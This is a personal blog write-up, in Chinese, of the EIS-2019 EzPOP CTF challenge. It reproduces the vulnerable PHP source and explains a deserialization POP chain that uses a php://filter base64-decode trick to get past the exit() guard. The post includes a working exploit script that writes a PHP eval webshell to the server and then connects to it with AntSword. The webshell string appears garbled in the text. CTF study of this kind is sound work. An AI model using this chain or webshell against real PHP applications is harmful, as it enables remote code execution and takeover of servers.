suyumen
目前主要在学习web相关

EIS-2019-EzPOP

2021-07-10 反序列化
Word count: 1.2k | Reading time: 5min

直接给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
<?php
error_reporting(0);

class A {

protected $store;

protected $key;

protected $expire;

public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}

public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);

foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}

return $contents;
}

public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);

return json_encode([$cleaned, $this->complete]);
}

public function save() {
$contents = $this->getForStorage();

$this->store->set($this->key, $contents, $this->expire);
}

public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}

class B {

protected function getExpireTime($expire): int {
return (int) $expire;
}//格式化

public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}//拼接字符串

protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}//格式化

$serialize = $this->options['serialize'];

return $serialize($data);
}

public function set($name, $value, $expire = null): bool{
$this->writeTimes++;

if (is_null($expire)) {
$expire = $this->options['expire'];
}

$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);

$dir = dirname($filename);

if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}

$data = $this->serialize($value);

if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

if ($result) {
return true;
}

return false;
}

}

if (isset($_GET['src']))
{
highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);


看到最后有个unserialize($_GET["data"]);,反序列化参数是data

可控的类是A,

读一下代码 :

is_dir() : 检查指定的文件是否是目录。函数的结果会被缓存。使用 clearstatcache() 来清除缓存。

mkdir() : 新建目录

mode参数权限 :mode 参数包含三个八进制数按顺序分别指定了所有者、所有者所在的组以及所有人的访问限制。每一部分都可以通过加入所需的权限来计算出所要的权限。

1 ->文件可执行

2 ->文件可写

4 ->文件可读

array_flip() : 反转/交换数组中的键名和对应关联的键值。
array_intersect_key() :比较两个(或更多个)数组的键名 ,并返回交集。
json_encode() : 返回字符串,包含了 value 值 JSON 形式的表示。
is_numeric() : 检测变量是否为数字或数字字符串。
file_put_contents() : 将一个字符串写入文件

最后肯定是用B类的这个函数file_put_contents写木马上传上去。写入的是$data,就是要动$expire。

1
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;

这里有个死亡exit(),正好之前看了羊城杯里面用到的php伪协议绕过,这里可以用base64转码。php//exit是9个字节,还要3个字符一起凑个4的整数进行编码,注释符号采用换行绕过。

(由于<、?、()、;、>、\n都不是base64编码的范围,所以base64解码的时候会自动将其忽略)。

跟进到这里:

1
$expire = $this->options['expire'];

options['expire']可控。

1
2
3
4
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}

这里不进行数据压缩:options['data_compress'] = false;


A类释放的时候会调用save()函数:
相当于调用getForStorage()set():

1
$this->store->set($this->key, $contents, $this->expire);

A类里就没有set()函数,所以store应该是B类的对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);

return json_encode([$cleaned, $this->complete]);
}//其中这个cleanContents函数的作用是反转数组
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;

if (is_null($expire)) {
$expire = $this->options['expire'];
}


cache是空就不用管那些反转的事儿了,现在要构造complete,这个变量要经过json_encode转换,用Base64加密数据解决json传输数据中特殊字符问题


最后跑一下:https://blog.csdn.net/gd_9988/article/details/106111902

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

class A
{
protected $store;
protected $key;
protected $expire;

public function __construct()
{
$this->cache = array();
$this->complete = base64_encode("xxx" . base64_encode('<?php @evxasasdaacakckahakcacacbcacaal($ee?_POST["ctf"]);?>'));
$this->key = "my.php";
$this->store = new B();
$this->autosave = false;
$this->expire = 0;
}
}

class B
{
public $options = array();

function __construct()
{
$this->options['serialize'] = 'base64_decode';
$this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
$this->options['data_compress'] = false;
}
}

var_dump( urlencode(serialize(new A())));

蚁剑连一下。

这代码审计题磕了好几天,(能算两天的作业吧!)主要问题就是php学的还是太少了,自己平时也不敲php,所以看不太明白,一直是一点一点地查东西,挺喜欢这种审计题,收获很多嘛。

翻了一堆别人的wp才理解……我好难a。

军训完黑了三圈,在家不出门了!!!


参考

1.php chmod()函数 参数mode的含义

2.EIS2019-EzPOP

3.PHP的json_encode()函数与JSON对象

4.[EIS 2019]EzPOP

5.EIS2019-EzPOP

Author: suyumen

Link: https://suyumen.github.io/2021/07/10/2021-07-12-[EIS%202019]EzPOP/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
nmap
NextPost >
php序列化与反序列化
CATALOG
  1. 1. 参考